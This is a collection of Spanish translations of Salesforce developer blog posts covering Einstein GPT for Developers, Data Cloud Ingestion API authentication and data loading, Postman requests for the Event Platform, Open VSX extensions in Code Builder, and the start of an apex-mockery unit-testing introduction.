Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que esté disponible en Open Beta para Dreamforce 2023. Una vez que su organización esté habilitada para esta herramienta, puede instalar la extensión Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT también estará disponible en Code Builder , nuestro IDE basado en web, que se espera que esté disponible de forma general en octubre. ¡Estén atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el menú y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organización para conectarse a una organización sandbox o a una organización borrador de Salesforce. Podrá utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si está utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la función adicional de organización borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la función EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar código Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar código con Einstein GPT (ver captura de pantalla a continuación) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuación se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llamémoslo OpportunityQuerySelector. Cree un método llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta específico. El método debe aceptar accountId como parámetro. Siga las mejores prácticas de seguridad y asegúrese de que el código se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuación.

Si bien el código generado anteriormente no requirió muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT según sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. ¡Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Recién estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere código LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalización predictiva de código en línea: complete automáticamente la siguiente línea de código sugerida con metadatos contextuales del proyecto.
  • Verificación del rendimiento del código: escanee el código Apex y corrija errores de tiempo de ejecución durante el proceso de desarrollo
  • Asistencia conversacional: Pídale a Einstein que genere código contextual y documentación, explique el código o resuelva problemas complejos.

Conclusión

A medida que Einstein GPT para desarrolladores amplíe sus capacidades para admitir LWC, proporcionar finalización de código inteligente y brindar asistencia conversacional, podrá desarrollar la plataforma Salesforce más rápido que nunca. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. ¡Únase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de LinkedIn .

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Cargue datos mediante programación con la API de ingesta ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Cargue datos mediante programación con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importación de datos. Estos le permiten conectar otra organización de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programación en Data Cloud. Admite patrones de interacción masiva y de transmisión. El patrón de transmisión usa JSON como su formato, cargando datos en micro lotes a través de la API REST. El patrón masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicación de blog, analizaremos cómo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programación utilizando los patrones Streaming y Bulk.

Cuándo usar la ingestión Streaming vs Bulk

Ingestión de transmisión Ingestión a granel
Al actualizar pequeños microlotes de registros casi en tiempo real Al mover grandes volúmenes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisión modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organización de Data Cloud que desea rellenar con 30, 60 o más de 90 días de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deberá seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicación conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creación y configuración de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creación de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuración de nube de datos y seleccione API de ingesta .

Aquí encontrará todos los conectores disponibles en su organización. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicación de muestra, trabajaremos con una empresa de energía solar ficticia. Estamos interesados en recibir eventos de métricas relacionadas con el rendimiento energético de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qué tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificación OpenAPI. Este archivo de esquema tiene requisitos específicos, así que asegúrese de consultar la documentación para obtener más información.

A continuación se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que será único para cada evento y luego se asignará en Data Cloud como clave principal. Otro es customer_id , que nos será útil para mapear el evento con un cliente de nuestra organización. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que está creado. Sin embargo, aún no está listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este propósito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, también puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos según sea necesario.

Creación e implementación de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexión para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos está activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pestaña en la aplicación Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opción API de ingesta está deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuación, verá los diferentes objetos que están asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deberá seleccionar una categoría o tipo de datos en ese flujo de datos. Hay tres categorías: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacción con el cliente, interacción web, etc.

Cuando se selecciona, el menú desplegable Campo de hora del evento aparece en la interfaz de usuario.
Perfil Un conjunto de datos que representa:

– Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electrónico o números de teléfono

– Una lista de empresas o cuentas con ID de cuenta

– Una lista de empleados o cualquier otra población por la que desee segmentar o utilizar como población inicial del segmento
Otro Un conjunto de datos que no es un compromiso o un perfil, como información de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos están configurados, es hora de implementarlos. Después de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la página de detalles del flujo de datos. Aquí podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organización para crear objetos de modelo de datos (parte del proceso de armonización de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicación de blog, pero tenemos un excelente video con Danielle Larregui que le muestra cómo hacerlo.

Nuestro conector API de ingesta está listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuración de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creación de una aplicación conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicación conectada requiere los siguientes ámbitos:

Ámbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexión Realizar solicitudes en su nombre en cualquier momento

Además, nuestra aplicación conectada requerirá un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando creará dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave pública.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber cómo crear una aplicación conectada, consulte la documentación oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurará el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicación conectada
  • sub: el nombre de usuario de su organización de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de época

reclamos JWT

Nota : La época de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuación, deberá utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Asegúrese de que el mensaje Firma verificada aparezca a continuación, lo que indica que nuestro JWT es válido.

O puede crearlo programáticamente usando el lenguaje de programación de su elección. Más adelante en este artículo, compartiré un práctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=»>

Y luego, inicie sesión y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente información.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=»>

Nota: asegúrese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dará un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicación conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuación, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token»>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticación en dos pasos. Para usarlo, necesitará la clave privada que creó anteriormente, así como un archivo de configuración similar al siguiente.

config.js

Además, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); «>

El método generateAccessToken devolverá el objeto de autenticación de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la información necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisión

Para comenzar a transmitir datos en el conector de Ingestión de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuración del conector de la API de Ingestión. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }»>

Nota : asegúrese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticación.

Si todo va bien, recibirás la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con éxito.

Nota : también puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingestión masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operación que se realizará, que puede ser upsert o delete.
  • Cargar los datos en CSV: Después de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesarán, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparación de los datos: una vez que se cargan los datos, deberá indicar que los datos están listos para ser procesados.
  • Cerrar o cancelar el trabajo: después de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener más información sobre cómo usar los puntos de conexión masivos, puede consultar la documentación oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. Allí, seleccionará el objeto Data Lake correspondiente al conector de ingesta que creó anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colección Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusión

Ahora, está listo para comenzar a cargar datos mediante programación en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Además, si prefiere aprender de un video, mi colega Aditya ha creado un video útil que explica lo que hemos cubierto en esta publicación de blog . Asegúrese de ver también los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores líder certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a través de sus videos, seminarios web, publicaciones de blog y contribuciones de código abierto, y también habla con frecuencia en conferencias y eventos en todo el mundo. Sígalo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

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Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Explore la API de la plataforma de eventos con la colección extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de información y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integración disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicación, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colección de API de la plataforma de Salesforce en Postman. También aprenderá cómo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicación dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con código personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma estándar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados automáticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio está vinculado a un objeto de Salesforce estándar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selección de dos tecnologías de transmisión: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP más moderna . Independientemente de la tecnología o el tipo de evento, publica o se suscribe a eventos a través de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisión. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Después de suscribirse a este canal, recibirá notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma estándar.

Además de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se envían en un canal personalizado. Por ejemplo, podría crear un canal específico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el país de facturación es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el código del lado del cliente, pero también ayuda a evitar los límites máximos de suscriptores simultáneos .

Los canales personalizados de Change Data Capture también otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimización puede ser problemática en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasarán en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se envían a Amazon EventBridge a través de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS también pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicación de Event Relay para obtener más información.

Antes del lanzamiento de Summer '23, Event Relay solo se podía configurar a través de las API. Ahora, hay una interfaz de usuario dedicada en Configuración. La única pieza que aún necesita crear a través de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colección Postman

En junio, actualizamos la colección de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no está familiarizado con Postman o la colección de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a través de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuración de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creación, lectura, actualización y eliminación (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las únicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo está disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicación. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuración de retransmisión de eventos

La carpeta Configuración de retransmisión de eventos es donde se encuentran la mayoría de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuración de Event Relay
  • Comentarios de retransmisión de eventos de consultoría

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son útiles para recuperar los campos de los eventos.

Lo que nos depara la colección Postman

Invertimos continuamente en nuestra colección de API de plataforma y buscamos agregar soporte para la suscripción a eventos de la API Pub Sub. CometD no será compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el año pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga útil, ya que está comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva característica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas útiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripción general de Event Platform y las últimas incorporaciones a la colección de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar rápidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, háganoslo saber. También puede echar un vistazo a nuestras otras colecciones de código abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

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Las extensiones Open VSX ahora son compatibles con Code Builder ☁️

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Las extensiones Open VSX ahora son compatibles con Code Builder | Blog de desarrolladores de Salesforce

Nos complace anunciar que Code Builder ahora le permite agregar extensiones desde Open VSX Registry , que brinda acceso de código abierto a las extensiones de VS Code. Con esta nueva funcionalidad, puede personalizar Code Builder con extensiones de la comunidad y de terceros para satisfacer sus necesidades más rápido y ser más productivo. En esta publicación de blog, aprenderá sobre los beneficios que Open VSX aporta a Code Builder, cómo usarlo y cómo compartir sus comentarios con nosotros.

¿Qué es el generador de código?

Code Builder es un entorno de desarrollo moderno basado en la web que está optimizado para Salesforce. Actualmente en Beta, Code Builder le permite implementar un entorno de desarrollo integrado (IDE) con todas las funciones en su navegador desde su organización de Salesforce, con solo presionar un botón.

Las funciones clave, como la finalización y refactorización de código, ayudan a aumentar la productividad del desarrollador, mientras que las herramientas de apuntar y hacer clic dentro de Code Builder, como SOQL Builder, y la compatibilidad con todos los lenguajes y marcos de trabajo de Salesforce, facilitan el desarrollo de cualquier forma que desee. me gusta

Finalmente, con Code Builder, que se basa en AWS, puede acceder a las mismas extensiones de Salesforce y CLI que están disponibles en el escritorio.

Mejor juntos: Code Builder + Open VSX

Cuando inicia Code Builder desde una organización, viene precargado con las herramientas de Salesforce que necesita, incluido todo el paquete de extensiones de Salesforce y la CLI de Salesforce. Sin embargo, como parte del proceso de su equipo, es posible que necesite otras herramientas para realizar el trabajo. Ahí es donde Open VSX Registry puede ayudar.

Por ejemplo, tomemos el control de fuente. Code Builder ya tiene acceso a Git y GitHub, pero quizás su equipo use algo diferente. Si su equipo trabaja con Jira y BitBucket, puede agregar las extensiones de Jira y Bitbucket en su entorno personal de Code Builder, lo que le permite trabajar con historias y control de fuente sin problemas dentro de Code Builder.

Con casi 3000 extensiones y 1600 editores diferentes en Open VSX, hay muchos otros complementos para elegir para personalizar su entorno Code Builder.

Salesforce y Open VSX

En Salesforce, estamos comprometidos con el código abierto . Dentro de las organizaciones que fomentan y adoptan el código abierto, los beneficios para los desarrolladores son claros:

  • Código de mayor calidad: el código fuente abierto generalmente exhibe las mejores prácticas de diseño de software; está escrito de forma modular y limpia, y también está bien documentado, ya que los desarrolladores de todo el mundo necesitan entender cómo funciona.
  • Mejora de habilidades blandas: trabajar en código abierto lo lleva a aprender naturalmente cómo ser un gran compañero de equipo y colaborador. También aprende de otros desarrolladores expertos siguiendo las pautas de contribución y revisando el código.
  • Innovación: La inteligencia colectiva es extremadamente poderosa. Al tener diferentes cerebros con diferentes antecedentes y mentalidades trabajando juntos, nuevas funciones e ideas innovadoras pueden surgir rápidamente.

Open VSX es una gran representación de la colaboración de código abierto. Dado su continuo crecimiento, la Fundación Eclipse ha formado un grupo de trabajo para guiar la evolución del Registro Open VSX . Salesforce es patrocinador y miembro del grupo de trabajo para ayudar a garantizar que nuestros usuarios tengan las herramientas y funciones necesarias para construir en nuestra plataforma.

Próximos pasos

Code Builder se encuentra actualmente en versión beta abierta y está disponible para que cualquiera lo pruebe. Si desea encontrar más recursos, o si tiene preguntas o comentarios, consulte el grupo de la comunidad Code Builder Trailblazer . ¡Esperamos sus comentarios!

Tenga en cuenta que también puede acceder a las extensiones de Salesforce en Open VSX, por lo que están disponibles en cualquier lugar donde las necesite.

Sobre los autores

Stephanie Maddox es directora del equipo de gestión de productos de Salesforce. Puedes seguirla en LinkedIn o Twitter .

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

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Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias ☁️

Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias | Blog de desarrolladores de Salesforce

Escribir pruebas sólidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicación, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de código para ayudarlo a comprender cómo puede usar la biblioteca para crear pruebas unitarias fáciles de entender y de ejecución rápida.

Un repaso a las pruebas unitarias

Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atrás y analicemos algunos de los conceptos básicos de las pruebas unitarias desde un punto de vista independiente de la tecnología. Luego, veremos Apex y discutiremos por qué la mayoría de nosotros debería escribir pruebas unitarias en lugar de pruebas de integración.

Las pruebas unitarias están en la base de la pirámide de prueba.

La ingeniería de software abarca múltiples tipos de pruebas: unidad, integración, servicio, interfaz de usuario funcional, de extremo a extremo, aceptación del usuario y más. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto representándolos como una pirámide.

Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aquí es que las pruebas que se ejecutan rápido y con frecuencia deben estar en la parte inferior de la pirámide. Estos son los más fáciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan más lentamente y se vuelven más difíciles de implementar y mantener.

En el contexto de esta publicación y en aras de la brevedad, nos centraremos únicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.

Por definición, las pruebas unitarias están destinadas a probar la menor cantidad de código (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la lógica pura y estar completamente desvinculadas de sus dependencias (otras clases) y límites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse rápido; no requieren una configuración de prueba particular, como la inserción de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.

Escribir pruebas unitarias de Apex en lugar de pruebas de integración

Apex se beneficia de una estrecha integración con la Plataforma de Salesforce y, si bien esta característica es excelente para cosas como acceder rápida y fácilmente a la base de datos, difumina las líneas de separación de preocupaciones entre la lógica y los servicios. Como consecuencia, es muy fácil escribir pruebas de integración de Apex en lugar de pruebas unitarias. Por ejemplo, el código de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integración ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren más tiempo para ejecutarse que las pruebas unitarias "puras".

Como compartió Mitch Spano en su presentación de pruebas unitarias puras de Apex , la mayoría de las veces, no es necesario confiar en las pruebas de integración para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicación. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creación de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.

Presentamos la burla del ápice

